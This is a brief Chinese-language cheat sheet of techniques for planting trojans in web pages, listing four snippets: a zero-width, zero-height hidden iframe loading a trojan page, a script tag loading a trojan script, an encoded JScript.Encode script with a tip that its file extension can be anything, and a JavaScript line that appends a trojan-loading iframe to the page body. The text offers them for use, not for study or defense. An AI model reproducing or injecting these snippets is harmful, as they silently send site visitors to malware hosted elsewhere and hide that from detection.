一、最简单的也是最有效的
<iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe>二、js挂马
<script src=http://www.xxx.com/muma.js></script>三、js变形加密
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>muma.txt可改成任意后缀的。
四、不是嵌入了与iframe不同
top.document.body.innerHTML = top.document.body.innerHTML + '/r/n<iframe src="木马地址"></iframe>''